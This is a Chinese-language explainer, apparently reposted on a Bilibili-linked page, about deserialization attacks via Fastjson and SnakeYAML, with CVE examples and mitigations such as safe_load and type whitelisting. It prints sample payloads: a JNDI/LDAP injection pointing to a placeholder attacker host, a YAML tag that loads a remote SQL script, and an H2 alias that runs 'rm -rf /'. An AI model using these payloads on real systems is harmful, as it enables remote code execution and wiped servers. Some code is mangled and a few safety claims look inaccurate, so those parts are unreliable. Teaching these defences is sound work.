JSON和YAML的“安全漏洞”:你从未注意到的“反序列化”攻击!

B站影视 电影资讯 2025-08-30 04:53 1

摘要:2024年某电商平台因一行YAML配置代码被入侵,攻击者通过构造恶意数据实现远程控制——这并非个例,反序列化漏洞常年位列OWASP Top 10,其隐蔽性让90%开发者中招!

2024年某电商平台因一行YAML配置代码被入侵,攻击者通过构造恶意数据实现远程控制——这并非个例,反序列化漏洞常年位列OWASP Top 10,其隐蔽性让90%开发者中招!

简单说,序列化是"对象→数据"的打包过程(如JSON/YAML),反序列化则是"数据→对象"的解包。危险在于:若解包时遇到恶意数据,攻击者可直接执行代码。本文3分钟讲透原理,5个技巧教你拦截90%攻击!

想象搬家时拆解家具(序列化)与组装(反序列化)。风险核心:若零件被动过手脚(恶意数据),整个系统会崩塌!编程语言在反序列化时会自动调用对象方法,这给了攻击者可乘之机。

Fastjson的@type字段就像快递单上的"物品说明",攻击者可篡改它指向恶意类:

{"@type":"com.sun.rowset.jdbcRowSetImpl","dataSourceName":"ldap://攻击者IP/恶意代码"}

服务器解析时会主动加载远程恶意代码(如CVE-2025-23120),这就是臭名昭著的JNDI注入攻击

YAML的!!标签可指定类名,攻击者用它调用危险类:

!!org.h2.jdbc.JdbcConnection ["jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://攻击者/恶意.sql'"]

如CVE-2024-42323中,这段代码会让服务器执行SQL脚本,最终获取系统权限。

时间漏洞编号影响范围攻击手段2025CVE-2025-23120Veeam备份软件利用DataSet类嵌套反序列化执行系统命令2024CVE-2024-42323Apache HertzBeatYAML配置注入H2数据库执行INIT脚本2023CVE-2023-28754Apache ShardingSphere加载远程恶意JAR包获取服务器权限

典型案例:CVE-2024-42323中,攻击者上传含恶意YAML的监控配置文件,通过!!标签实例化数据库连接类,在SQL初始化脚本中写入:

CREATE ALIAS EXEC AS $$void exec { Runtime.getRuntime.exec("rm -rf /") }$$

直接导致服务器被恶意清空!

语言危险函数安全函数Javafastjson.parseObjectJSON.parse(Jackson库)Pythonyaml.loadyaml.safe_loadPHPunserializefilter_var+白名单

⚠️ 紧急提示:SnakeYAML用户必须用new SafeConstructor,Fastjson需升级至1.2.83+

// Java示例:只允许反序列化String和List类Yaml yaml = new Yaml(new SafeConstructor {{allowTypesByRegExp(Pattern.compile("java.lang.String"));allowTypesByRegExp(Pattern.compile("java.util.List"));}});Java: readObject readResolvePython: __reduce__ __getstate__PHP: __destruct __wakeup

反序列化漏洞的本质是**“信任了不可信数据”**。记住3个行动步骤:

立即替换yaml.load为safe_load检查依赖库版本(附安全版本清单)对所有用户输入启用白名单验证

来源:祁丶祁一点号

相关推荐